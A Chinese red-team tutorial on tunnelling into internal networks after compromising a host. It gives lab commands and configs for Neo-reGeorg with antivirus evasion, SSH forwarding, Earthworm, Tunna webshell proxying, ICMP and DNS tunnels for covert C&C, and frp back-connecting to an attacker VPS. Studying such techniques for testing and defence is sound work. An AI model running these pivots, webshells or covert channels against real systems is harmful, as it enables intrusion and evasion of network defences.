文章目录

  • 隧道应用
    • reGeorg内网穿透
    • SSH本地转发(正向)
      • 场景一
      • 场景二
    • SSH远程转发(反向)
    • Earthworm Socks5代理
      • 正向代理
      • 反向代理
    • Tunna正向代理
    • ICMP隧道
    • DNS隧道
    • Frp穿透
    • 推荐阅读&工具包

隧道应用

在进行内网渗透时,由于外网主机无法直接连接内网主机,所以需要使用隧道技术来搭建连接通道访问内网主机即内网穿透,本文为隧道应用的第二篇文章,第一篇链接

reGeorg内网穿透

拓扑图中 A 是攻击者通过访问 B 的 80 端口获取了系统权限,C 数据库服务器在内网不能出网,但是 B 拥有双网卡和内网主机 C 在同一网段且能访问,为了访问 C 攻击者 A 在 B 设置了代理,之后 A 就能通过代理访问 C 的服务器以及 C 的整个内网网段,接下来演示使用 reGeorg 工具做代理

reGeorg 是一个能穿透内网的工具,基于 socks5 而且支持的脚本众多。可以说是内网穿透神器,但是作为使用率较多的软件,杀软都会拦截,使用还要做免杀处理,现有一个项目是由 reGeorg 修改而来,而且做了加密处理,脚本也免杀

  • 项目地址:https://github.com/L-codes/Neo-reGeorg
  1. 进入项目目录,打开终端,在使用之前首先生成 key

    python3 neoreg.py generate -k password
    

    会生成很多文件,这些文件均免杀

  2. 选择合适的文件放置到跳板机 B 上,可以使用浏览器访问确认文件存在(b服务器需要能够解析 aspx)

  3. 攻击者启动代理

    python3 neoreg.py -k password -u http://192.168.179.131/tunnel.aspx
    

    启动代理后,可以使用 proxychains 进行端口扫描,需要先修改配置文件

    浏览器访问需要设置代理(插件 FoxyProxy)

SSH本地转发(正向)

Linux 下没有 netsh 命令,linux 环境下可以使用 ssh 来实现转发

场景一

A 访问内部网络的 C 服务器的 80 端口

在 A 服务器上执行命令,在 B 上建立转发

ssh -L 本地端口:目标 IP:目标端口 username@ip -fN
# ssh -L 8080:10.0.0.4:80 ocean@192.168.179.141 -fN
# 账号密码为服务器 B 的账密

之后访问本地的 8080 端口即可访问 C 数据库服务器的 80 端口,注意只能在本机访问,其他主机访问攻击者的 IP 是无效的

场景二

把目标的端口转发出来

例如 mysql 服务器只允许本地访问 在外部不能访问。这就很好地保护了 mysql 免受外部攻击

ssh -L 本地端口:目标IP:目标端口 username@IP -fN
# ssh -L 3306:localhost:3306 username@192.168.179.141 -fN

SSH远程转发(反向)

1.首先在 B 修改配置文件

#攻击者执行命令 ssh moonteam@192.168.179.141
moonteam@moonteam-virtual-machine:~$ vim /etc/ssh/sshd_config
# GatewayPorts yes 如果没有请增加 如果请把 no 修改 yes
moonteam@moonteam-virtual-machine:~$ sudo /etc/init.d/ssh restart 或 service sshd reload

这个配置的作用是远程转发后将 127.0.0.1 改为 0.0.0.0 A 通过指定端口就能访问 C

2.在 C 服务器上执行以下命令

ssh -R 本地端口:远程IP:远程端口 ssh服务器
# ssh -R 8080:10.0.0.4:80 10.0.0.3
输入密码后可以将 10.0.0.4:80 反向转发至 10.0.0.3 的 8080 端口

可以看到一条 0.0.0.0:8080 端口的记录

攻击者可以访问 B 的 8080 端口

Earthworm Socks5代理

EW 是一套便携式全平台的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透

官网:https://rootkiter.com/EarthWorm,目前停止更新且已不能下载,特征已被加入杀毒软件规则各大防火墙均可以拦截查杀

Github第三方下载地址:https://github.com/idlefire/ew

该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处

正向代理

实验环境

将 ew win 版放到受害主机 B 上,使用以下命令启动代理

ew_for_Win.exe -s ssocksd -l 8888

启动代理后,如果攻击者想要访问内网主机,还需要在攻击机设置/etc/proxychains.conf文件

vim /etc/proxychains.conf

最后一行,IP 为代理机的 IP 即 B 的 IP,端口为代理端口

socks5 192.168.179.131 8888

设置后使用代理访问即可

proxychains nmap -Pn -sT 10.0.0.2 -p 80

反向代理

如果内网存在防火墙,正向连接很可能会被拦截,这是可以使用反向代理来突破防火墙限制,从内部连接外部

  1. 在受害者 B 上执行命令,开启端口转发

    ew_for_Win.exe -s rcsocks -l 8888 -e 1024
    
  2. 在内网主机 C 上执行命令,开启代理

    ew_for_Win.exe -s rssocks -d 10.0.0.3 -e 1024
    

  3. 攻击者修改配置文件在/etc/proxychins.conf增加socks5 192.168.179.131 8888

设置完毕后攻击者即可使用代理访问内网主机 C,但是整个过程需要三方都参与,而且需要内网主机上传 EW 和启动,无疑是复杂度提升,适用于已经拿到内网主机权限的情况

Tunna正向代理

Tunna 是一款 Python 编写的可以封装和隧道化 HTTP 上的任何 TCP 通信的代理工具,可以用来绕过防火墙环境中的网络限制

项目地址:https://github.com/SECFORCE/Tunna

python proxy.py -u -l [options]
选项
--help, -h 显示帮助消息并退出。
--url=URL, -u URL 远程 webshell
--lport=LOCAL_PORT, -l LOCAL_PORT 本地监听端口
--verbose, -v 输出数据包大小
--buffer=BUFFERSIZE, -b BUFFERSIZE* HTTP 请求大小(一些 webshels 对大小
有限制)
没有 SOCKS 代理的选择,如果使用 SOCKS 代理,则忽略此选项
--no-socks, -n 不用 SOCKS 代理
--rport=REMOTE_PORT, -r REMOTE_PORT 连接 webshell 服务的远程端口
--addr=REMOTE_IP, -a REMOTE_IP 远程 webshell 连接地址(默认为 127.0.0.1)

注:Tunna 代理并不是非常稳定,经常出现掉线情况,尤其是使用 Tunna 代理远程连接的流量时,经常掉线。但是使用 Tunna 访问内网 web 服务还算稳定

  1. 首先在受害者 B 网站目录上传匹配的 webshll,webshell 在工具的 weshells 目录内

    我使用的环境为 aspx,上传之后可以在浏览器访问验证

  2. 攻击者使用命令开启代理,python2

    python2 proxy.py -u http://www.demo1.com/conn.aspx -l 4444 -a 10.0.0.2 -r 80 -v
    

ICMP隧道

在一些网络环境中,如果不经过认证,TCP 和 UDP 数据包都会被拦截。这种情况下如果用户可以 ping 通远程计算机,就可以尝试建立 ICMP 隧道,将 TCP 数据通过该隧道发送,可以实现不受限的网络访问。用户需要在受限制网络之外,预先启动该工具建立代理服务器。再以客户端模式运行该工具,就可以建立 ICMP 隧道。为了避免该隧道被滥用,用户还可以为隧道设置使用密码

  1. icmptunnel 可以将 IP 流量封装进 IMCP 的 ping 数据包中,旨在利用 ping穿透防火墙的检测,因为通常防火墙是不会屏蔽 ping 数据包的
  2. 请 求 端 的Ping 工 具 会 在ICMP 数 据 包 后 面 附 加 上 一 段 随 机 的 数 据 作 为Payload,而响应端则会拷贝这段 Payload 到 ICMP 响应数据包中返还给请求端,用于识别和匹配 Ping 请求
  3. 在使用 ptunnel 进行内网穿透时,客户端会将 IP 帧封装在 ICMP 请求数据包中发送给服务器,而服务器端则会使用相匹配的 ICMP 响应数据包进行回复。这样在旁人看来,网络中传播的仅仅只是正常的 ICMP 数据包

a 与 b 能互通 b 与 c 能互通 a 与 c 之间有防护墙拦截禁用 TCP 协议 但是 A 能 ping同 c 由此判断防火墙没有对 icmp 协议进行封禁,因此可以用 imcp 隧道技术,三台主机均为 linux

  1. 在 b 上执行命令创建隧道

    ptunnel -x 123456
    # -x 指定密码
    
  2. 攻击者执行以下命令

    ptunnel -p 192.168.179.131 -lp 8080 -da 192.168.179.151 -dp 80 -x 123456
    -p 接目的地址即跳板主机B的地址
    -lp 即 localport 本地端口
    -da 要连接的远程主机C地址
    -dp C的端口
    -x 连接密码
    

    攻击者 A 使用浏览器访问访问 127.0.0.1 的 8080 端口,内容为 C 的 80 端口

用户可以使用 iptables 封禁 tcp 协议

iptables -A INPUT -p tcp -s 192.168.0.143 -j DROP

DNS隧道

DNS Tunneling,是隐蔽信道的一种,通过将其他协议封装在 DNS 协议中传输建立通信。因为在我们的网络世界中 DNS 是一个必不可少的服务,所以大部分防火墙和入侵检测设备很少会过滤 DNS 流量,这就给 DNS 作为一种隐蔽信道提供了条件,从而可以利用它实现诸如远程控制,文件传输等操作,现在越来越多的研究证明 DNS Tunneling 也经常在僵尸网络和 APT 攻击中扮演着重要的角色,比如 CS 中使用的 DNS beacon

常用的DNS隧道工具:

  • dns2tcp:支持直连模式的DNS隧道,只实现了简单的DNS隧道,相关命令和控制服务需要自行搭建,且已在kali系统中直接集成。
  • iodine:最活跃、速度最快、支持直连和中继模式,且支持丰富的编码、请求类型选择
  • Dnscat2:封装在DNS协议中的加密C&C信道,直接运行工具即可实现数据传输、文件操作等命令和控制功能

接下来介绍 dns2tcp 的使用方法

dns2tcp 是一个利用 DNS 隧道转发 TCP 连接的工具,支持 KEY 和 TXT 类型的请求,用 C 语言开发。它分为两个部分,服务端和客户端,服务端运行在 linux服务器上,客户端可以运行在 linux 和 windows 上(其他平台没有测试过),编译完成后在服务端上的可执行文件名称为 dns2tcpd,在客户端(linux)上的名称为dns2tcpc,kali 默认安装了二者

项目地址:https://github.com/alex-sector/dns2tcp

其实之前说过 CS 的 DNS Beacon,整个流程和这个类似,原理可以看这篇文章,链接

-F 强制在在台运行,默认在后台
-i IP address 监听 ip,默认 0.0.0.0
-f 配置文件 指定使用的配置文件路径
-d debug level 指定调试级别,输出相关级别日志,默认为 1,2,3
dns2tcpc
-c: 启用压缩
-z <domain>: 指定所使用的域名
-d <1|2|3>: 调试级别 (1, 2 or 3)
-r <resource>: 访问的目标资源
-f <filename>: 配置文件路径
-l <port|->: 本地监听端口
-T <TXT|KEY>: DNS 请求类型,默认为 TXT
配置文件 为了避免运行时指定太多的参数,可以通过指定配置文件来启动服务端。示例如下:
listen = 0.0.0.0
port = 53
user = nobody
chroot = /tmp
domain = <domain.com>
resources = ssh:127.0.0.1:22,socks:127.0.0.1:1082,http:127.0.0.1:3128
  1. 首先需要有自己的 VPS 和域名,添加一条域名解析记录指向自己的 VPS IP

    在添加一条 NS 记录指向 www 记录

    VPS 安全策略一定要开启 53 端口

  2. 在 VPS 上安装 dns2tcp

    # debian
    sudo apt-get install dns2tcp# centos
    git clone https://github.com/alex-sector/dns2tcp.git
    tar zxf dns2tcp-0.5.2.tar.gz
    cd dns2tcp-0.5.2
    ./configure
    make & make install
    

    修改配置文件

    sudo vi /etc/dns2tcpd.conflisten = 0.0.0.0
    port = 53
    # If you change this value, also change the USER variable in /etc/default/dns2tcpd
    user = root
    key = 123456
    chroot = /tmp
    domain = dns.ocean888.cn
    resources = ssh:127.0.0.1:22 , smtp:127.0.0.1:25
    

    需要改的就是 user、key、domain、resources

  3. VPS 上运行 dns2tcp

    dns2tcpd -f /etc/dns2tcpd.conf -F -d 3-f:指定配置文件启动
    -F:指定dns2tcp工具运行在前台
    -d:指定调试日志打印等级
    

    下图为正常启动

    到此服务端配置完毕

  4. 配置客户端启动

    我这里用的 linux,windows 需要使用编译好(或下载)的 EXE 可执行程序的目录下打开 powershell 窗口,并执行如下启动命令,工具可以在文末链接下载

    dns2tcpc -r ssh -k 123456 c2 -z dns.ocean888.cn 121.196.173.211 -l 5353 -d 2-k:密码
    -r:指定要使用的服务端配置的资源对应的名
    -z:配置为建立DNS隧道使用的域名
    -l:指定隧道客户端监听的本地端口
    -d:作用同服务端,输出2级调试信息
    

    命令中的 121.196.173.211 表示指定目标DNS服务器(也可以是DNS服务器的域名,但必须在上一级域名的DNS记录中正确配置了NS记录和A记录),若不指定则使用默认DNS进行解析

    使用 ssh 连接本地 5353 端口,就相当于访问服务器端 22 端口

    这样一条隐蔽隧道就搭建起来了

推荐阅读:

  • 利用DNS隧道构建隐蔽C&C信道
  • 通过dns2tcp绕过校园网认证进行免费上网

Frp穿透

  • 项目地址:https://github.com/fatedier/frp
  • 中文文档:https://gofrp.org/docs/

frp 是一个可用于内网穿透的高性能的全平台反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网

frp 采用 Golang 编写,支持跨平台,仅需下载对应平台的二进制文件即可执行,没有额外依赖

Frp 分为服务端和客户端

  • 服务端只能为 Linux 负责处理请求,转发流量
  • 客户端 linux 和 windows 都支持 负责把本地的流量连到服务器,让服务器读取&写入

测试环境如下

主机 C 在内网,攻击者不能直接访问,如果想要访问内网主机可以把其端口映射到公网主机上,因
为这种方式是从 C 内部发起请求的,所以很好的穿透防火墙

  1. 在公网 VPS 上搭建服务端

    wget https://github.com/fatedier/frp/releases/download/v0.33.0/frp_0.33.0_linux_amd64.tar.gz
    tar zxvf frp_0.33.0_linux_amd64.tar.gz
    mv frp_0.33.0_linux_amd64 frp
    cd frp
    

    配置服务端文件 frps.ini

    [common]
    bind_port = 7777
    token = ocean1234
    

    客户端连接的端口、token 为连接密码,使用命令启动服务端

    ./frps -c frps.ini
    # 如果版本不正确无法启动
    

    以上服务端配置完毕,frps 启动后将监听监听 7000 端口,用 ps aux 查看进程信息 和 netstat antl 端口

    经常使用的话可以设置开启自启

    设置开机启动
    vi /lib/systemd/system/frps.service
    [Unit]
    Description=fraps service
    After=network.target syslog.target
    Wants=network.target
    [Service]
    Type=simple
    #启动服务的命令(此处写你的 frps 的实际安装目录)
    ExecStart=/root/frp/frps -c /root/frp/frps.ini
    [Install]
    WantedBy=multi-user.target
    #启动 frpc
    systemctl daemon-reload
    systemctl start frps
    #设置为开机启动
    systemctl enable frps
    
  2. 客户端下载系统对应合适版本 frp,下载之后配置 frpc.ini 文件

    [common]
    server_addr = 112.12.179.138  #服务器的 IP
    server_port = 7777  # Frp 服务的端口
    token = ocean1234 #连接的密码[web] #服务器名
    type = tcp  #连接协议类型
    local_ip = 127.0.0.1  #访问的 ip 可以是内网任何一个 ip
    local_port = 80 # 本地端口
    remote_port = 7000 # 想要映射到远程服务器的端口
    

    注:配置文件中不要出现注释

    正常启动

  3. 因为内网主机 80 端口存在业务,frp 启动成功后可以在浏览器访问 B 的 7000 端口,这样就成功将内网主机的 80 端口通过建立 Frp 内网穿透映射到了 B 的 7000 端口

注意:VPS 的7000 和 7777 端口需要在服务器安全组中放开

稍后会更新一篇使用 Frp 多层内网通信隧道搭建的文章深入探索 Frp 这款工具

推荐阅读&工具包

  • 内网渗透测试:隐藏通讯隧道技术(上)

  • 内网渗透测试:隐藏通讯隧道技术(下)

  • 内网渗透测试:利用 RDP 协议搭建 Socks5 代理隧道

  • 内网渗透之内网穿透

  • 工具:https://www.aliyundrive.com/s/N2r6DBsz3zm

红蓝对抗之隧道技术第二篇(reGeorg内网穿透、SSH隧道本地Socks代理、SSH远程转发、Earthworm Socks5代理、Tunna正向代理、ICMP隧道、DNS隧道、Frp穿透)相关推荐

  1. 红蓝对抗之隧道技术第一篇(内网穿透、端口映射端口转发、Netsh端口转发、CS正反向连接多层内网、Burp设置上游代理访问内网、MSF protfwd端口转发/重定向)

    文章目录 隧道应用 端口映射&端口转发 Netsh端口转发 Netsh端口转发meterpreter CS正向连接多层内网 CS反向连接多层内网 Burp设置上游代理访问内网 MSF prot ...

  2. 红蓝对抗之域名搜集方法总结

    作者: 腾讯蓝军实习生 jax.yhy.A1oe 前言 在历次HW.红蓝对抗.渗透测试项目中,外网的信息收集是至关重要的一个环节,外网打点信息收集全面了,可能会有四两拨千斤效果,直接突破外网边界进入内 ...

  3. 解读ChatGPT背后的技术重点:RLHF、IFT、CoT、红蓝对抗

    近段时间,ChatGPT 横空出世并获得巨大成功,使得 RLHF.SFT.IFT.CoT 等这些晦涩的缩写开始出现在普罗大众的讨论中.这些晦涩的首字母缩略词究竟是什么意思?为什么它们如此重要?我们调查 ...

  4. 解读 ChatGPT 背后的技术重点:RLHF、IFT、CoT、红蓝对抗

    来自:Hugging Face 近段时间,ChatGPT 横空出世并获得巨大成功,使得 RLHF.SFT.IFT.CoT 等这些晦涩的缩写开始出现在普罗大众的讨论中.这些晦涩的首字母缩略词究竟是什么意 ...

  5. 红蓝对抗常态化 支付宝技术风险防控机制首次曝光

    小蚂蚁说: 支付宝红蓝CP又开始日常"互怼"啦!为了迎接年度技术"期末考试"周,技术蓝军每周都会组织突袭攻击"测验",通过实战中发掘出来的脆 ...

  6. 看世界杯学网络安全—防御技术、和红蓝对抗 大总结

    目录 8.1. 团队建设 8.1.1. 人员分工 8.2. 红蓝对抗 8.2.1. 概念 8.2.2. 网络攻防演习 8.2.3. 侧重 8.2.4. 目标 8.2.5. 前期准备 8.2.6. 行动 ...

  7. 红蓝对抗-HW红蓝队基本知识

    第一章 什么是蓝队 蓝队,一般是指网络实战攻防演习中的攻击一方. 蓝队一般会采用针对目标单位的从业人员,以及目标系统所在网络内的软件.硬件设备同时执行多角度.全方位.对抗性的混合式模拟攻击手段:通过技 ...

  8. 攻防技术第二篇之-知己(防御手段)

    文章目录 攻防演练 POC Payload EXP 浏览器爬虫 反连平台 Fuzz 主动扫描 被动扫描 语义分析 业务建模 流量拦截 用户枚举 插件 访问控制列表ACL cookie防护 BOT防护 ...

  9. 红蓝对抗——蓝队手册

    0x01 前言 红蓝对抗的思想最早可追溯到我国现存最早的一部兵书<孙子兵法>,在孙子·谋攻篇有这么一句话:"知彼知己,百战不殆:",意为如果对敌我双方的情况都能了解透彻 ...

最新文章

  1. Test on 11/10/2016
  2. 2020考研 统考英语 核心词汇:社会生活(1)(苗嘉)
  3. MICRA OPENCART 自适应主题模板 ABC-0678-02
  4. 使用REVERSE INDEX改善大规模数据插入【IMPROVE INSERT STATEMENT USING REVERSE INDEX】
  5. 墙裂推荐!顶级赛事CCF BDCI即将开赛!
  6. 【Java代码】道格拉斯-普克 Douglas-Peucker 抽稀算法分析及15w个坐标点抽稀到3.7w耗时从360s+优化到365ms接近1000倍的速度提升源码分享(并行流+多线程+泛型)
  7. [转]MySQL5.6.22 安装
  8. 如何使用低代码开发平台实现出入库管理
  9. 【githubboy】一份开源的小型金融知识图谱构建流程,可帮助你更好的学习与理解知识图谱的使用
  10. 引爆你的集合灵感 [C#, LINQ]
  11. 新计算机的word无法输入文字,【WORD为什么无法输入文字?】word如何转换excel
  12. 远程文件包含 php,php本地及远程文件包含漏洞
  13. html按钮扁平化,HTML5和CSS3扁平化风格博客教程的资源分享
  14. 时光荏苒,岁月静好-----2013年终总结
  15. PhpStudy在nginx下配置虚拟主机和伪静态
  16. excel 时间计算
  17. Android游戏《UP住模拟器》开发日志:手机线性马达的调教
  18. 名字中间一条线怎么弄_如何在QQ昵称上加一条横线
  19. configobj安装_linux (centos)安装Anaconda
  20. Linux vi/vim使用详解

热门文章

  1. Arduino单片机控制步进电机
  2. 仅用软件FREIA_jimyu,三步刷机法(不更新EEP)
  3. 备份从android到ios系统,如何实现iOS和Android的数据传输?如何实现数据的备份和还原?...
  4. office2013使用技巧——从指定页开始设置页码
  5. linux url解码工具,Linux C语言实现urlencode和urldecode
  6. Downie 4.6.10 mac上最好用的视频下载工具 中文版
  7. TimeUnit 用法
  8. CTF-PHP常见考点实例小结
  9. 外卖打印机什么牌子好用?优声云打印机给你答案
  10. debug5x 微信_微信发布 Web 开发者工具 V0.5.0 新增 X5 Blink 内核调试功能